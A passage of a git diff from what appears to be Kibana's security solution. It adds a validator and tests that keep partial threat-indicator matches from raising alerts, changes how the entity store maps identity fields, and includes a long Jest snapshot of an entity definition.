]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), // Partial match from first group + createThreatQuery('source.ip', 'threat.indicator.source.ip'), // Partial match from second group + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(false); + expect(result.skippedIds).toEqual(['event-1']); + }); + }); + + describe('Complex scenarios', () => { + it('should handle multiple events with mixed valid and invalid matches', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + [{ field: 'source.ip', value: 'threat.indicator.source.ip' }], + ]); + + const signalsQueryMap = new Map([ + [ + 'event-1', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), + createThreatQuery('host.name', 'threat.indicator.host.name'), + ], + ], + ['event-2', [createThreatQuery('source.ip', 'threat.indicator.source.ip')]], + [ + 'event-3', + [ + createThreatQuery('user.name', 'threat.indicator.user.name'), // Partial match + ], + ], + [ + 'event-4', + [ + createThreatQuery('destination.port', 'threat.indicator.destination.port'), // No match + ], + ], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + expect(result.matchedEvents.has('event-2')).toBe(true); + expect(result.matchedEvents.has('event-3')).toBe(false); + expect(result.matchedEvents.has('event-4')).toBe(false); + expect(result.skippedIds).toEqual(['event-3', 'event-4']); + }); + + it('should store only matched threat queries in matchedEvents', () => { + const threatMapping = createThreatMapping([ + [ + { field: 'user.name', value: 'threat.indicator.user.name' }, + { field: 'host.name', value: 'threat.indicator.host.name' }, + ], + ]); + + const allThreatQueries = [ + createThreatQuery('user.name', 'threat.indicator.user.name', 'threat-1', 'index-1'), + createThreatQuery('host.name', 'threat.indicator.host.name', 'threat-2', 'index-2'), + createThreatQuery('source.ip', 'threat.indicator.source.ip', 'threat-3', 'index-3'), // Unmatched query + createThreatQuery( + 'destination.port', + 'threat.indicator.destination.port', + 'threat-4', + 'index-4' + ), // Unmatched query + ]; + + const signalsQueryMap = new Map([['event-1', allThreatQueries]]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + + // Should only contain the matched queries, not all queries + const matchedQueries = result.matchedEvents.get('event-1')!; + expect(matchedQueries).toHaveLength(2); + + // Verify only the matched queries are included + const matchedFields = matchedQueries.map((q) => q.field); + expect(matchedFields).toContain('user.name'); + expect(matchedFields).toContain('host.name'); + expect(matchedFields).not.toContain('source.ip'); + expect(matchedFields).not.toContain('destination.port'); + }); + + it('should handle single field AND group', () => { + const threatMapping = createThreatMapping([ + [{ field: 'source.ip', value: 'threat.indicator.source.ip' }], + ]); + + const signalsQueryMap = new Map([ + ['event-1', [createThreatQuery('source.ip', 'threat.indicator.source.ip')]], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.has('event-1')).toBe(true); + expect(result.skippedIds).toEqual([]); + }); + + it('should handle empty threat mapping', () => { + const threatMapping: ThreatMapping = []; + + const signalsQueryMap = new Map([ + ['event-1', [createThreatQuery('source.ip', 'threat.indicator.source.ip')]], + ]); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.size).toBe(0); + expect(result.skippedIds).toEqual(['event-1']); + }); + + it('should handle empty signals query map', () => { + const threatMapping = createThreatMapping([ + [{ field: 'source.ip', value: 'threat.indicator.source.ip' }], + ]); + + const signalsQueryMap = new Map(); + + const result = validateCompleteThreatMatches(signalsQueryMap, threatMapping); + + expect(result.matchedEvents.size).toBe(0); + expect(result.skippedIds).toEqual([]); + }); + }); +}); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.ts new file mode 100644 index 0000000000000..f9081004c0bba --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/indicator_match/threat_mapping/validate_complete_threat_matches.ts @@ -0,0 +1,101 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { SignalsQueryMap } from './get_signals_map_from_threat_index'; +import type { ThreatMapping } from '../../../../../../common/api/detection_engine/model/rule_schema'; +import type { ThreatMatchNamedQuery } from './types'; + +/** + * Validates that events have complete threat matches based on the threat mapping configuration. + * + * This function prevents false positive alerts that can occur when partial matches are incorrectly + * treated as complete matches. + * + * + * Example threat mapping: + * [ + * { + * entries: [ + * { field: "user.name", value: "threat.indicator.user.name" }, + * { field: "host.name", value: "threat.indicator.host.name" } + * ] + * }, + * { + * entries: [ + * { field: "source.ip", value: "threat.indicator.source.ip" }, + * ] + * } + * ] + * + * Example of SignalsQueryMap: + * { + * "eventId1": [ + * { field: "user.name", value: "threat.indicator.user.name", queryType: "mq", id: "threatId1", index: "threatIndex1" }, + * { field: "host.name", value: "threat.indicator.host.name", queryType: "mq", id: "threatId2", index: "threatIndex2" } + * ], + * "eventId2": [ + * { field: "source.ip", value: "threat.indicator.source.ip", queryType: "mq", id: "threatId1", index: "threatIndex1" } + * ] + * } + * + * This represents: + * (user.name matches threat.indicator.user.name AND host.name matches threat.indicator.host.name) + * OR (source.ip matches threat.indicator.source.ip) + * + * VALIDATION LOGIC: + * For each event, we check if ANY AND group is completely satisfied: + * 1. Iterate through each AND group in the threat mapping + * 2. For each AND group, verify that ALL required field mappings are present in the matched queries + * 3. If ANY AND group is completely satisfied, the signal is valid + * 4. If NO AND group is completely satisfied, the signal is invalid (filtered out) + * + * @param signalsQueryMap - Map of signal IDs to their matched threat queries + * @param threatMapping - The threat mapping configuration defining AND/OR logic + * @returns Object containing valid events and list of invalid signal IDs + */ +export const validateCompleteThreatMatches = ( + signalsQueryMap: SignalsQueryMap, + threatMapping: ThreatMapping +): { matchedEvents: SignalsQueryMap; skippedIds: string[] } => { + const matchedEvents: SignalsQueryMap = new Map(); + const skippedIds: string[] = []; + + signalsQueryMap.forEach((threatQueries, signalId) => { + const allMatchedThreatQueriesSet = new Set(); + threatMapping.forEach((andGroup) => { + const matchedThreatQueriesForAndGroup: ThreatMatchNamedQuery[] = []; + const hasMatchForAndGroup = andGroup.entries.every((entry) => { + const filteredThreatQueries = threatQueries.filter( + (threatQuery) => threatQuery.field === entry.field && threatQuery.value === entry.value + ); + + if (filteredThreatQueries.length > 0) { + matchedThreatQueriesForAndGroup.push(...filteredThreatQueries); + return true; + } + + return false; + }); + + if (hasMatchForAndGroup) { + matchedThreatQueriesForAndGroup.forEach((threatQuery) => + allMatchedThreatQueriesSet.add(threatQuery) + ); + } + + return hasMatchForAndGroup; + }); + + if (allMatchedThreatQueriesSet.size > 0) { + matchedEvents.set(signalId, Array.from(allMatchedThreatQueriesSet)); + } else { + skippedIds.push(signalId); + } + }); + + return { matchedEvents, skippedIds }; +}; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/utils/log_cluster_shard_failures_esql.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/utils/log_cluster_shard_failures_esql.test.ts index f4eb8d89229a4..cf7c7a34a0401 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/utils/log_cluster_shard_failures_esql.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/rule_types/utils/log_cluster_shard_failures_esql.test.ts @@ -42,7 +42,7 @@ describe('logClusterShardFailuresEsql', () => { it('should add warning message when shard failures exist in a single cluster', () => { const shardFailure: EsqlEsqlShardFailure = { reason: { type: 'test_failure', reason: 'test failure' }, - shard: '0', + shard: 0, index: 'test-index', }; @@ -70,13 +70,13 @@ describe('logClusterShardFailuresEsql', () => { it('should add warning message when shard failures exist in multiple clusters', () => { const shardFailure1: EsqlEsqlShardFailure = { reason: { type: 'test_failure_1', reason: 'test failure 1' }, - shard: '0', + shard: 0, index: 'test-index-1', }; const shardFailure2: EsqlEsqlShardFailure = { reason: { type: 'test_failure_2', reason: 'test failure 2' }, - shard: '1', + shard: 1, index: 'test-index-2', }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/elasticsearch_assets/entity_index.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/elasticsearch_assets/entity_index.ts index d5aec9eac6f9a..2b4300b088fc8 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/elasticsearch_assets/entity_index.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/elasticsearch_assets/entity_index.ts @@ -65,17 +65,13 @@ export const getEntityIndexStatus = async ({ export type MappingProperties = NonNullable; export const generateIndexMappings = ( - description: Pick + description: Pick< + EntityEngineInstallationDescriptor, + 'fields' | 'identityField' | 'identityFieldMapping' + > ): MappingTypeMapping => { const identityFieldMappings: MappingProperties = { - [description.identityField]: { - type: 'keyword', - fields: { - text: { - type: 'match_only_text', - }, - }, - }, + [description.identityField]: description.identityFieldMapping, }; const otherFieldMappings = description.fields @@ -99,11 +95,6 @@ export const BASE_ENTITY_INDEX_MAPPING: MappingProperties = { }, 'entity.name': { type: 'keyword', - fields: { - text: { - type: 'match_only_text', - }, - }, }, 'entity.source': { type: 'keyword', diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/common.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/common.ts index d7c966093ff87..8ee551e87e35e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/common.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/common.ts @@ -5,12 +5,12 @@ * 2.0. */ -import type { EntityType } from '../../../../../../common/api/entity_analytics/entity_store'; +import type { BaseECSEntityField } from '../../../../../../common/api/entity_analytics/entity_store'; import type { FieldDescription } from '../../installation/types'; import { oldestValue, newestValue } from './field_utils'; -export const getCommonFieldDescriptions = (entityType: EntityType): FieldDescription[] => { +export const getCommonFieldDescriptions = (ecsField: BaseECSEntityField): FieldDescription[] => { return [ oldestValue({ source: '_index', @@ -18,16 +18,16 @@ export const getCommonFieldDescriptions = (entityType: EntityType): FieldDescrip }), newestValue({ source: 'asset.criticality' }), newestValue({ - source: `${entityType}.risk.calculated_level`, + source: `${ecsField}.risk.calculated_level`, }), newestValue({ - source: `${entityType}.risk.calculated_score`, + source: `${ecsField}.risk.calculated_score`, mapping: { type: 'float', }, }), newestValue({ - source: `${entityType}.risk.calculated_score_norm`, + source: `${ecsField}.risk.calculated_score_norm`, mapping: { type: 'float', }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/generic.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/generic.ts index a751a1c079f2e..487eaab2996eb 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/generic.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/generic.ts @@ -15,6 +15,7 @@ export const genericEntityEngineDescription: EntityDescription = { entityType: 'generic', version: GENERIC_DEFINITION_VERSION, identityField: GENERIC_IDENTITY_FIELD, + identityFieldMapping: { type: 'keyword' }, settings: { timestampField: '@timestamp', }, @@ -106,6 +107,6 @@ export const genericEntityEngineDescription: EntityDescription = { newestValue({ source: 'orchestrator.resource.type' }), newestValue({ source: 'orchestrator.type' }), - ...getCommonFieldDescriptions('generic'), + ...getCommonFieldDescriptions('entity'), ], }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/host.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/host.ts index 7446f9a00911a..7c97749f56818 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/host.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/host.ts @@ -15,6 +15,7 @@ export const hostEntityEngineDescription: EntityDescription = { entityType: 'host', version: HOST_DEFINITION_VERSION, identityField: HOST_IDENTITY_FIELD, + identityFieldMapping: { type: 'keyword' }, settings: { timestampField: '@timestamp', }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/service.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/service.ts index 4f3f85e11a061..9d6fb69b2227b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/service.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/service.ts @@ -16,6 +16,7 @@ export const serviceEntityEngineDescription: EntityDescription = { entityType: 'service', version: SERVICE_DEFINITION_VERSION, identityField: SERVICE_IDENTITY_FIELD, + identityFieldMapping: { type: 'keyword' }, settings: { timestampField: '@timestamp', }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/user.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/user.ts index b79bdf9766d96..05a22a2dbfd58 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/user.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/entity_descriptions/user.ts @@ -14,6 +14,14 @@ export const userEntityEngineDescription: EntityDescription = { entityType: 'user', version: USER_DEFINITION_VERSION, identityField: USER_IDENTITY_FIELD, + identityFieldMapping: { + type: 'keyword', + fields: { + text: { + type: 'match_only_text', + }, + }, + }, settings: { timestampField: '@timestamp', }, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/types.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/types.ts index 79aed5b273404..7a1fd57947ba0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/types.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_definitions/types.ts @@ -23,6 +23,7 @@ export type EntityDescription = PickPartial< | 'indexMappings' | 'settings' | 'pipeline' - | 'dynamic', + | 'dynamic' + | 'identityFieldMapping', 'indexPatterns' | 'indexMappings' | 'settings' | 'dynamic' >; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_store_data_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_store_data_client.test.ts index 7f62dcfc52066..b9bf99f746866 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_store_data_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/entity_store_data_client.test.ts @@ -38,6 +38,7 @@ const definition: EntityDefinition = convertToEntityManagerDefinition( version: '0.0.1', fields: [], identityField: 'host.name', + identityFieldMapping: { type: 'keyword' }, indexMappings: {}, indexPatterns: [], settings: { diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/__snapshots__/engine_description.test.ts.snap b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/__snapshots__/engine_description.test.ts.snap index 8a457aefd6aac..45f9fd1d6153b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/__snapshots__/engine_description.test.ts.snap +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/entity_analytics/entity_store/installation/__snapshots__/engine_description.test.ts.snap @@ -1,5 +1,862 @@ // Jest Snapshot v1, https://goo.gl/fbAQLP +exports[`getUnitedEntityDefinition generic entityManagerDefinition 1`] = ` +Object { + "displayNameTemplate": "{{entity.id}}", + "filter": "", + "id": "security_generic_test", + "identityFields": Array [ + Object { + "field": "entity.id", + "optional": false, + }, + ], + "indexPatterns": Array [ + "test*", + ], + "latest": Object { + "lookbackPeriod": "24h", + "settings": Object { + "docsPerSecond": undefined, + "frequency": "1m", + "syncDelay": "1m", + "syncField": "@timestamp", + "timeout": "180s", + }, + "timestampField": "@timestamp", + }, + "managed": true, + "metadata": Array [ + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.name", + "source": "entity.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.source", + "source": "entity.source", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.type", + "source": "entity.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.sub_type", + "source": "entity.sub_type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.url", + "source": "entity.url", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.account.id", + "source": "cloud.account.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.account.name", + "source": "cloud.account.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.availability_zone", + "source": "cloud.availability_zone", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.instance.id", + "source": "cloud.instance.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.instance.name", + "source": "cloud.instance.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.machine.type", + "source": "cloud.machine.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.project.id", + "source": "cloud.project.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.project.name", + "source": "cloud.project.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.provider", + "source": "cloud.provider", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.region", + "source": "cloud.region", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "cloud.service.name", + "source": "cloud.service.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.architecture", + "source": "host.architecture", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.boot.id", + "source": "host.boot.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.cpu.usage", + "source": "host.cpu.usage", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.disk.read.bytes", + "source": "host.disk.read.bytes", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.disk.write.bytes", + "source": "host.disk.write.bytes", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.domain", + "source": "host.domain", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.hostname", + "source": "host.hostname", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.id", + "source": "host.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.mac", + "source": "host.mac", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.name", + "source": "host.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.network.egress.bytes", + "source": "host.network.egress.bytes", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.network.egress.packets", + "source": "host.network.egress.packets", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.network.ingress.bytes", + "source": "host.network.ingress.bytes", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.network.ingress.packets", + "source": "host.network.ingress.packets", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.pid_ns_ino", + "source": "host.pid_ns_ino", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.type", + "source": "host.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.uptime", + "source": "host.uptime", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "host.ip", + "source": "host.ip", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.domain", + "source": "user.domain", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.email", + "source": "user.email", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.full_name", + "source": "user.full_name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.roles", + "source": "user.roles", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.hash", + "source": "user.hash", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.id", + "source": "user.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.name", + "source": "user.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "user.full_name", + "source": "user.full_name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.api_version", + "source": "orchestrator.api_version", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.cluster.id", + "source": "orchestrator.cluster.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.cluster.name", + "source": "orchestrator.cluster.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.cluster.url", + "source": "orchestrator.cluster.url", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.cluster.version", + "source": "orchestrator.cluster.version", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.namespace", + "source": "orchestrator.namespace", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.organization", + "source": "orchestrator.organization", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.annotation", + "source": "orchestrator.resource.annotation", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.id", + "source": "orchestrator.resource.id", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.ip", + "source": "orchestrator.resource.ip", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.label", + "source": "orchestrator.resource.label", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.name", + "source": "orchestrator.resource.name", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.parent.type", + "source": "orchestrator.resource.parent.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.resource.type", + "source": "orchestrator.resource.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "orchestrator.type", + "source": "orchestrator.type", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "asc", + }, + "type": "top_value", + }, + "destination": "entity.source", + "source": "_index", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "asset.criticality", + "source": "asset.criticality", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.risk.calculated_level", + "source": "entity.risk.calculated_level", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.risk.calculated_score", + "source": "entity.risk.calculated_score", + }, + Object { + "aggregation": Object { + "sort": Object { + "@timestamp": "desc", + }, + "type": "top_value", + }, + "destination": "entity.risk.calculated_score_norm", + "source": "entity.risk.calculated_score_norm", + }, + ], + "name": "Security 'generic' Entity Store Definition", + "type": "generic", + "version": "1.0.0", +} +`; + +exports[`getUnitedEntityDefinition generic mapping 1`] = ` +Object { + "properties": Object { + "@timestamp": Object { + "type": "date", + }, + "asset.criticality": Object { + "type": "keyword", + }, + "cloud.account.id": Object { + "type": "keyword", + }, + "cloud.account.name": Object { + "type": "keyword", + }, + "cloud.availability_zone": Object { + "type": "keyword", + }, + "cloud.instance.id": Object { + "type": "keyword", + }, + "cloud.instance.name": Object { + "type": "keyword", + }, + "cloud.machine.type": Object { + "type": "keyword", + }, + "cloud.project.id": Object { + "type": "keyword", + }, + "cloud.project.name": Object { + "type": "keyword", + }, + "cloud.provider": Object { + "type": "keyword", + }, + "cloud.region": Object { + "type": "keyword", + }, + "cloud.service.name": Object { + "type": "keyword", + }, + "entity.id": Object { + "type": "keyword", + }, + "entity.name": Object { + "type": "keyword", + }, + "entity.risk.calculated_level": Object { + "type": "keyword", + }, + "entity.risk.calculated_score": Object { + "type": "float", + }, + "entity.risk.calculated_score_norm": Object { + "type": "float", + }, + "entity.source": Object { + "type": "keyword", + }, + "entity.sub_type": Object { + "type": "keyword", + }, + "entity.type": Object { + "type": "keyword", + }, + "entity.url": Object { + "type": "keyword", + }, + "host.architecture": Object { + "type": "keyword", + }, + "host.boot.id": Object { + "type": "keyword", + }, + "host.cpu.usage": Object { + "type": "keyword", + }, + "host.disk.read.bytes": Object { + "type": "keyword", + }, + "host.disk.write.bytes": Object { + "type": "keyword", + }, + "host.domain": Object { + "type": "keyword", + }, + "host.hostname": Object { + "type": "keyword", + }, + "host.id": Object { + "type": "keyword", + }, + "host.ip": Object { + "type": "ip", + }, + "host.mac": Object { + "type": "keyword", + }, + "host.name": Object { + "type": "keyword", + }, + "host.network.egress.bytes": Object { + "type": "keyword", + }, + "host.network.egress.packets": Object { + "type": "keyword", + }, + "host.network.ingress.bytes": Object { + "type": "keyword", + }, + "host.network.ingress.packets": Object { + "type": "keyword", + }, + "host.pid_ns_ino": Object { + "type": "keyword", + }, + "host.type": Object { + "type": "keyword", + }, + "host.uptime": Object { + "type": "keyword", + }, + "orchestrator.api_version": Object { + "type": "keyword", + }, + "orchestrator.cluster.id": Object { + "type": "keyword", + }, + "orchestrator.cluster.name": Object { + "type": "keyword", + }, + "orchestrator.cluster.url": Object { + "type": "keyword", + }, + "orchestrator.cluster.version": Object { + "type": "keyword", + }, + "orchestrator.namespace": Object { + "type": "keyword", + }, + "orchestrator.organization": Object { + "type": "keyword", + }, + "orchestrator.resource.annotation": Object { + "type": "keyword", + }, + "orchestrator.resource.id": Object { + "type": "keyword", + }, + "orchestrator.resource.ip": Object { + "type": "keyword", + }, + "orchestrator.resource.label": Object { + "type": "keyword", + }, + "orchestrator.resource.name": Object { + "type": "keyword", + }, + "orchestrator.resource.parent.type": Object { + "type": "keyword", + }, + "orchestrator.resource.type": Object { + "type": "keyword", + }, 